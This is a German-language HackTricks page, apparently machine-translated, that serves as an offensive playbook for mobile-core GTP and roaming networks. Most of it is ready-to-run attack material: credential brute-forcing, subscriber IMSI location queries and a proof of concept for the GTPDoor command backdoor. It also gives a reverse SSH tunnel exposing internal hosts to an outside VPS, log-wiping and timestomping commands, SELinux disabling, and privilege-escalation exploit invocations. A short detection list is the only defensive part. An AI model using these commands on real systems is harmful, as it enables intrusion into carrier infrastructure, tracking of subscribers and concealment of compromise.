Telecom-Netzwerkausnutzung (GTP / Roaming-Umgebungen)

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

note

Mobile-Core-Protokolle (GPRS Tunneling Protocol – GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über ungesichertes UDP ohne nahezu keine Authentifizierung laufen, kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.

1. Recon & Erster Zugriff

1.1 Standard-OSS / NE-Konten

Eine überraschend große Anzahl von Netzwerk-Elementen von Anbietern wird mit fest codierten SSH/Telnet-Benutzern wie root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … ausgeliefert. Eine dedizierte Wortliste erhöht den Erfolg bei Brute-Force-Angriffen erheblich:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Wenn das Gerät nur eine Management-VRF bereitstellt, pivotieren Sie zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» unten).

1.2 Host Discovery innerhalb von GRX/IPX

Die meisten GRX-Betreiber erlauben immer noch ICMP Echo über das Backbone. Kombinieren Sie masscan mit den integrierten gtpv1 UDP-Proben, um GTP-C-Listener schnell zu kartieren:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Abfragen von Abonnenten – cordscan

Das folgende Go-Tool erstellt GTP-C Create PDP Context Request-Pakete und protokolliert die Antworten. Jede Antwort zeigt den aktuellen SGSN / MME an, der die abgefragte IMSI bedient, und manchmal das besuchte PLMN des Abonnenten.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Wichtige Flags:

  • --imsi Zielteilnehmer IMSI
  • --oper Heimat / HNI (MCC+MNC)
  • -w Rohpakete in pcap schreiben

Wichtige Konstanten im Binärformat können gepatcht werden, um Scans zu erweitern:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Codeausführung über GTP – GTPDoor

GTPDoor ist ein kleiner ELF-Dienst, der UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über /bin/sh -c ausgeführt. Die stdout/stderr werden in Echo Response-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.

Minimales PoC-Paket (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • Jeder Host, der unausgeglichene Echo-Anfragen an SGSN-IPs sendet
  • GTP-Version-Flag auf 1 gesetzt, während der Nachrichtentyp = 1 (Echo) – Abweichung von der Spezifikation

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN liefert einen SGSN-Emulator, der in der Lage ist, einen PDP-Kontext zu einem echten GGSN/PGW herzustellen. Sobald verhandelt, erhält Linux eine neue tun0-Schnittstelle, die vom roaming Peer erreichbar ist.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im Datenverkehr.

4.2 SSH Reverse Tunnel über Port 53

DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 lauscht, und kehren Sie später von zu Hause zurück:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Überprüfen Sie, ob GatewayPorts yes auf dem VPS aktiviert ist.

5. Verdeckte Kanäle

KanalTransportDekodierungAnmerkungen
ICMP – EchoBackdoorICMP Echo Req/Rep4-Byte Schlüssel + 14-Byte Chunks (XOR)reiner passiver Listener, kein ausgehender Verkehr
DNS – NoDepDNSUDP 53XOR (Schlüssel = funnyAndHappy) kodiert in A-Record-Oktettenüberwacht *.nodep Subdomain
GTP – GTPDoorUDP 2123AES-128-CBC Blob in privatem IEvermischt sich mit legitimen GTP-C Gesprächen

Alle Implantate implementieren Watchdogs, die ihre Binärdateien timestomp und sich neu starten, wenn sie abstürzen.

6. Verteidigungsumgehung Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilegienausweitung auf Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Reinigungstipp:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Werkzeugkasten

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – benutzerdefinierte Werkzeuge, die in vorherigen Abschnitten beschrieben sind.
  • FScan : Intranet TCP-Scans (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS bösartiger WPAD
  • Microsocks + ProxyChains : leichtgewichtiges SOCKS5-Pivoting
  • FRP (≥0.37) : NAT-Überwindung / Asset-Bridging

Erkennungsideen

  1. Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests erstellt.
  2. Nicht-standardisierte Ports (53, 80, 443), die SSH-Handshakes von internen IPs empfangen.
  3. Häufige Echo-Anfragen ohne entsprechende Echo-Antworten – könnte auf GTPDoor-Beacons hinweisen.
  4. Hohe Rate von ICMP-Echo-Antwortverkehr mit großen, nicht-null Identifikations-/Sequenzfeldern.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks